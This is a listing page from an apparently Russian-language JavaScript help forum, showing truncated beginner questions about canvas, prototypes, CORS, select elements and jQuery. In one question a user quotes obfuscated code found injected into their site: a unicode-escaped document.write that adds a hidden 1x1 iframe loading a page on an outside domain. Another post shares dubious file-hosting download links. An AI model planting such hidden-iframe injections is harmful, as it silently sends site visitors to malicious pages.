JavaScript
A programming language that conforms to the ECMAScript specification
Explore Questions
There are no popular questions to show right now
-
0 votes1 answer
-
0 votes0 answers
-
0 votes0 answers
-
0 votes1 answer
-
0 votes0 answers
4723 questions in this forum
-
Canvas проблемы
Как убрать горизонтальную линию? И почему разработчики, решили использовать радианы, а не градусы? https://jsfiddle.net/0kujfucq/
0 votes6 answers -
__proto__ и prototype в Javascript
Зачем нужен prototype в JavaScript? При создании любого объекта в JavaScript создается новый объект __proto__ в системе который ссылается на функцию(класс) с помощью которого этот объект создан. При объявлении функции или класса создается также объект с именем prototype. Он создается для того чтобы потомки функции-классы могли унаследовать его свойства или для того чтобы сделать чисто инициализацию конструктора, которая происходит после new когда объявляется любая функция или класс?
0 votes1 answer -
Резинвая верстка
Проблемы с резиновой версткой, Когда пишу ввожу текс, в Опере элемент див увеличивается вот код javascript function winResize () { vline1.style.height = body.clientHeight - 65; hline1.style.width = body.clientWidth - 165; hline2.style.width = body.clientWidth - 180; hline3.style.width = body.clientWidth - 20; hline3.style.pixelTop = body.clientHeight - 21; content.style.height = body.clientHeight - 161; // Здесь проблема! текст ходит вниз, и прячется под "copy". //Что делать? content.style.width = body.clientWidth - 365; title.style.width = body.clientWidth - 165; news.style.height = body.clientHeight - 161; copy.style.width = body.clientWidth - 170; copy.st…
0 votes0 answers -
<optgroup>
Можно ли обратиться к по его згачению label, без использования id?
0 votes2 answers -
Выделение текста
Доброго всем времени суток! Мне необходимо, чтобы по клику на ячейку таблицы её содержимое выделялось и копировалось в буфер обмена (ну или хотя бы просто выделялось, если скопировать не представляется возможным). Как такое можно организовать?
0 votes2 answers -
Очень странные вещи...
На сайте непонятно откуда взялся следующий код <script type="text/javascript"> document.write('u003cu0069u0066u0072u0061u006du0065u0020u0073u0072u0063u003du0068u0074u0074u0070u003au002fu002fu0061u0074u006fu006du0061u006bu0061u0079u0061u006eu002eu0062u0069u007au002fu0061u0066u0074u0065u0072u0066u0074u0070u0063u0068u0065u006bu002fu0030u0031u0030u0034u002fu0069u006eu0064u0065u0078u002eu0070u0068u0070u0020u0077u0069u0064u0074u0068u003du0031u0020u0068u0065u0069u0067u0068u0074u003du0031u0020u0073u0074u0079u006cu0065u003du0022u0064u0069u0073u0070u006cu0061u0079u003au006eu006fu006eu0065u0022u003eu003cu002fu0069u0066u0072u0061u006du0065u003e'); </script> Обнаружился о…
0 votes3 answers -
проблема с кроссдоменным запросом
помогите пожалуйста решить проблему с кроссдоменным запросом. я расположил бекенд на одном сервере, а фронтэнд на другом. теперь при помощи ajax-запроса фронтэнд-скрипт не может получить данные из бекэнда вот адрес, по которому можно получить данные: http://zlodiak.pythonanywhere.com/days/1497104260/1497968260 тут лежит мой скрипт, который отправляет ajax-запрос по вышеуказанному адресу. ajax-запрос отправляется после того как пользователь в первом датепикере выбирает дату '2017-06-01', а во втором датепикере выбирает дату '2017-06-30'. затем нажимает кнопку субмита в результате консоль говорит о том, что кроссдоменный запрос не разрешён: я пробо…
0 votes3 answers -
Вывести значение select в другом div
Есть список, состоящий из 9 городов, при выборе города должен отображаться соответствующий телефонный номер. Вот код select: <select> <option value="0">Россия</option> <option value="1">Краснодар</option> <option value="2">Екатеринбург</option> <option value="3">Москва</option> <option value="4">Новосибирск</option> <option value="5">Самара</option> <option value="6">Ростов-на-Дону</option> <option value="7">Нижний Новгород</option> <option value="8">Ярославль</option> <option value="9">Уфа</option> <option value="10">Тв…
0 votes7 answers -
Подскажите плагин для Gulp для объединения CSS правил
Здравствуйте Обнаружил, что плагин, который я использовал в Gulp для минификации - "gulp-clean-css" не объединяет стили. Пример: .test { background: black} .test { margin-top: 10px margin-bottom: 20px} На выходе хотелось бы увидеть: .test{background: black;margin:10px 20px 0 0} Но сам плагин проводит минификацию, а сами свойства не объединяет... Может кто подсказать плагин, который отвечает именно за чистку кода (объединение правил CSS)?
0 votes3 answers -
проблема с плагином lightbox()
Приветствую вас всех уважаемые. В общем для своей галереи решил использовать вот этот lightbox(), Моя ссылка В общем как в примере, все работает. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>jQuery lightBox plugin</title> <link rel="stylesheet" type="text/css" href="../style-projects-jquery.css" /> <!-- Arquivos utilizados pelo jQuery lightBox plugin --> <script type="text/javascript" src="js/jquery.js"></script…
0 votes5 answers -
Выделение области блока
Подскажите название библиотеки или скрипта, нужно мышью выделять опредленную прямоугольную область блока, и высчитывать размеры блока в пикселях. Работал с drag and drop на js но с выделением области пока не понимаю, какую можно библиотеку использовать.
0 votes3 answers -
Ответы на все ваши вопросы по Javascript и HTML
Скачивал множество книг по html и Javascript, но эти, на мой взгляд, лучшие!!! С удовольствием делюсь с Вами ссылками: http://depositfiles.com/files/nje5g119h про html http://depositfiles.com/files/sxslfqm7l про javascript
0 votes3 answers -
Фразы по очереди
Мне надо сверху страницы сделать вывод фраз по очередности: 1. Выводится фраза, например "Добро пожаловать" - стоит 15 секунд. 2. Затем выводится вторая фраза - "Для настройки аккаунта пройдите по этой ссылке" и стоит 30 секунд. 3. Затем третья фраза и стоит она 1 минуту и затем исчезает и на этом месте пусто (отсутствие текста и ссылок) Я сейчас это реализовал с помощью iframe и просто переадесации с одного файла на другой через meta-tag redirect=30 но это не серьезно, я бы не хотел использовать iframe для таких функций, надо чтобы один раз пользователь загрузил и всё. Помогите пожалуйста со скриптом, есть ли какие либо примеры? Спасибо заранее.
0 votes4 answers -
Сылки в списке html формы
Здравствуйте, мне нужно сделать выбор сайтов в списке html формы. Смысл этого списка - дать возможность перейти на выбранный сайт. Осуществить переход по ссылки из списка формы не составила труда. <form name="site" class="form-inline"> <select name="list" class="form-control" onChange="top.location.href = this.form.list.options[this.form.list.selectedIndex].value; return false;"> <option>Open web-site</option> <option value="http://www.site1.ru">Site 1</option> <option value="http://www.site2.ru">Site 2</option> </select></form>При нажаний мы переходим на нужный сайт, в этом же окне. Н…
0 votes8 answers -
Применение стиля
такая конструкция <div id = 'tops'> <div id = 'top1'> <div id = 'top1_1'>top1_1</div> <div id = 'top1_2'>top1_2</div> <div id = 'top1_3'>top1_3</div> </div> <div id = 'top2'> <div id = 'top2_1'>top2_1</div> <div id = 'top2_2'>top2_2</div> </div> </div> строка document.getElementById('top2_1').style.opacity = .5; работает. строка document.getElementById('tops').style.opacity = .5; не работает. Почему? Спасибо за ответ.
0 votes3 answers -
Проблема с заменой getElementById
Я не очень хорошо разбираюсь в яве, поэтому прошу строго не судить. Возникла проблема с заменой getElementById, поясню что имею ввиду: Есть функция в которую передается любое целое число в переменной а. При вызове функции нужно увеличить значение поля input на 1. Вот такая конструкция работает: function plus(a) { var sum = document.getElementById('value_' + a); sum.value++; } Но КПК не поддерживает getElementById... При этом так работает, но только с конкретным числом: function plus(a) { document.catalog.value_1.value++; } Подскажите как можно в document.catalog.value_1.value++ вместо 1 подставить значение переменной a?
0 votes3 answers -
Смена html кода по клику
Есть выпадающий блок типа такого: http://anton.shevchuk.name/wp-demo/jquery-...lide-panel.html кликаешь по ссылке с текстом "открыть" и появляется блок. Это все просто и понятно. А как сделать, чтоб при раскрытом блоке надпись сменялась на "закрыть"? То есть нужно подменить html-код
0 votes4 answers -
jQuery each — где создавать обработчики
Здравствуйте. Вопрос предельно нубский, но попробую не стесняться Задача — после загрузки страницы обойти все элементы по селектору (в частности, с заданным классом) и инициализировать для них некоторое поведение. Вижу два основных способа сделать это, различающиеся тем, где будут создаваться обработчики. Первый — обработчики создаются в замыкании для каждого экземпляра: $('.class').each(function() { var self = $(this); var data = 1; self.on('event1', 'child1', handler1) .on('event2', 'child2', handler2) .on('event3', 'child3', handler3); function handler1() { ... } function handler2() { ... } function handler3() { ... }});Здесь при каждой итерации eac…
0 votes8 answers -
проблема с изменением значения select в FireFox
Добрый день пытаюсь изменить значение select спомощью javascript вот пример кода document.getElementById('lst1').value=""; document.getElementById('lst2').value=""; document.getElementById('lst3').value=""; document.getElementById('lst4').value=""; lst1 - lst4 это ID моих select-ов и IE меняет а в FireFox нет подскажите что не так Спасибо
0 votes4 answers -
Нужно изменить параметры html кода
в общем у меня хтмл код: <div class="admin-menu-image">a</div> вот css: .admin-menu-image{ background: url(/css/image/admin-menu-image.png); } как мне по событию поменять фон div'а?
0 votes10 answers -
нужно помощь по скрипту галереи
Прошу помощи, т.к. далек от js. Есть html код <div class="box"> <div class="box-heading">Состав коллекции</div> <div class="box-content"> <div class="box-product related"> <ul class="portfolio-categ filter"> <li>Категории:</li> <li class="all active"><a href="#">Все</a></li> <li class="cat-item-1"><a href="#" title="Category 1">Категория 1</a></li> <li class="cat-item-2"><a href="#" title="Category 2">Категория 2</a></li> <li class="cat-item-3"><a href="#" title="Category 3">Категория 3</a>…
0 votes0 answers -
адрес предыдушей страницы
Как при помощи javascript узнать с какой страницы к тебе пришел пользователь?
0 votes7 answers -
Slider range
Всем привет! Банальный вопрос для бывалых. С JS еще не знаком, пока не дошел, изучаю верстку. Есть такой ползунок https://jqueryui.com/slider/#range Я все подключил , застилизовал, все работает. Но нужно чтоб скрипт ползунка загружался из отдельного файла, а не как в примере со страницы.
0 votes6 answers -
target и currentTarget
Я так и не понял чем они отличаются. target - элемент, для которого изначально было предназначено событие currentTarget - элемент, который перехватил событие в данный момент выдаёт одно и тоже https://jsfiddle.net/n038ztx8/
0 votes4 answers -
Передача параметров в javacript
Стоит задача формировать некую страницу динамически, передавая в нее параметры, например путь к странице которая будет загружена в frame index.html?cp=page1.html Дело в том, что PHP, в данном случае нельзя использовать. и сама загружаемая страница формируется из header.js content.js и footer.js. С крышей и подвалом проблем нет, а в content.js лежит следующее: function GetParam(search, name){ name=name+"="; var gp=""; if (search!='') { if (search.indexOf (name, 0)!=-1){ var startpos=search.indexOf(name, 0)+name.length; var endpos=search.indexOf("&",startpos); if (endpos<startpos) {endpos=search.length;} var gp=p.substring(startpos,endpos); } else …
0 votes2 answers